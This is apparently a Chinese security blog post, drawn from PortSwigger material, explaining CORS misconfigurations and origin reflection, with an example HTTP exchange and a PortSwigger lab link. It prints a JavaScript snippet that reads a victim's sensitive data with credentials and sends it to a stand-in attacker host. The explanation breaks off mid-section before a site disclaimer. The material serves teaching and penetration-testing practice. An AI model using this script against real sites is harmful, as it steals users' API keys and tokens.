渗透测试中的CORS漏洞利用

2025-01-25 8 0

跨源资源共享(CORS)

什么是跨源资源共享 (CORS),如何防范这些攻击。PortSwigger Research 通过 Exploiting CORS misconfigurations for Bitcoins and bounties | PortSwigger Research(利用 CORS 配置错误获取比特币和赏金)演示普及了这一攻击类别。

什么是 CORS(跨源资源共享)?

跨源资源共享(CORS)是一种浏览器机制,可对位于特定域外的资源进行受控访问。它扩展并增加了同源策略(SOP)的灵活性。不过,如果网站的 CORS 策略配置和实施不当,它也会为跨域攻击提供隐患。CORS 不能抵御跨源攻击,如跨站请求伪造 (CSRF)。

同源策略

同源策略是一种限制性的跨源规范,用于限制网站与源域之外的资源进行交互的能力。同源策略是多年前为应对潜在的恶意跨域交互(如一个网站窃取另一个网站的私人数据)而定义的。它通常允许一个域向其他域发出请求,但不允许访问响应。

放宽同一来源地政策

同源政策的限制性很强,因此人们设计了各种方法来规避限制。许多网站与子域或第三方网站的交互方式需要完全的跨源访问。使用跨原点资源共享(CORS)可以有控制地放宽同原点政策。
跨原点资源共享协议使用一套 HTTP 标头来定义受信任的网络原点和相关属性,如是否允许验证访问。浏览器与试图访问的跨原点网站之间的标头交换将这些内容结合在一起。

CORS 配置问题导致的漏洞

许多现代网站使用 CORS 允许子域和可信第三方访问。他们的 CORS 实施可能包含错误或过于宽松,以确保一切正常,这可能导致可利用的漏洞。

从客户端指定的 Origin 标头生成服务器 ACAO 标头

有些应用程序需要提供对一些其他域的访问。维护允许访问的域列表需要持续的努力,而且任何错误都有可能破坏功能。因此,有些应用程序会采取一种简单的方法,即有效地允许从任何其他域进行访问。
其中一种方法是读取请求中的 Origin 标头,并在响应标头中说明允许请求的来源。例如,考虑一个收到以下请求的应用程序:

GET /sensitive-victim-data HTTP/1.1

Host: vulnerable-website.com

Origin: https://malicious-website.com

Cookie: sessionid=...

然后它回应道

HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://malicious-website.com

Access-Control-Allow-Credentials: true

...

这些标头说明,允许从请求域(malicious-website.com)进行访问,跨源请求可以包含 cookie(Access-Control-Allow-Credentials: true),因此将在会话中进行处理。
由于应用程序会在Access-Control-Allow-Origin标头中反映任意来源,这意味着任何域都可以访问来自易受攻击域的资源。如果响应包含任何敏感信息(如 API 密钥或 CSRF 标记),您可以通过在网站上放置以下脚本来获取这些信息:

var req = new XMLHttpRequest();

req.onload = reqListener;

req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);

req.withCredentials = true;

req.send();

function reqListener() {

location='//malicious-website.com/log?key='+this.responseText; };

基本原点反射的 CORS 漏洞-靶场

靶场地址:https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack

渗透测试中的CORS漏洞利用插图

渗透测试中的CORS漏洞利用插图1

解析来源地标头时出现的错误

一些支持从多个来源访问的应用程序会使用一个允许来源的白名单。当收到 CORS 请求时,提供的来源会与白名单进行比较。如果该来源出现在白名单上,则会反映在Access-Control-Allow-Origin标头中,从而允许访问。例如,应用程序收到一个普通请求,如

GET /data HTTP/1.1


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

hackmyvm——Family
json组件下的原生反序列化getter触发
【Abyss】Android平台BPF和SECCOMP的SVC指令拦截
黑客用假恶意软件生成器感染1.8万名“脚本小子”
黑客利用Windows RID劫持技术创建隐藏管理员账户
【论文速读】| AttackQA:利用微调及开源大语言模型辅助网络安全运营的数据集的开发与应用

发布评论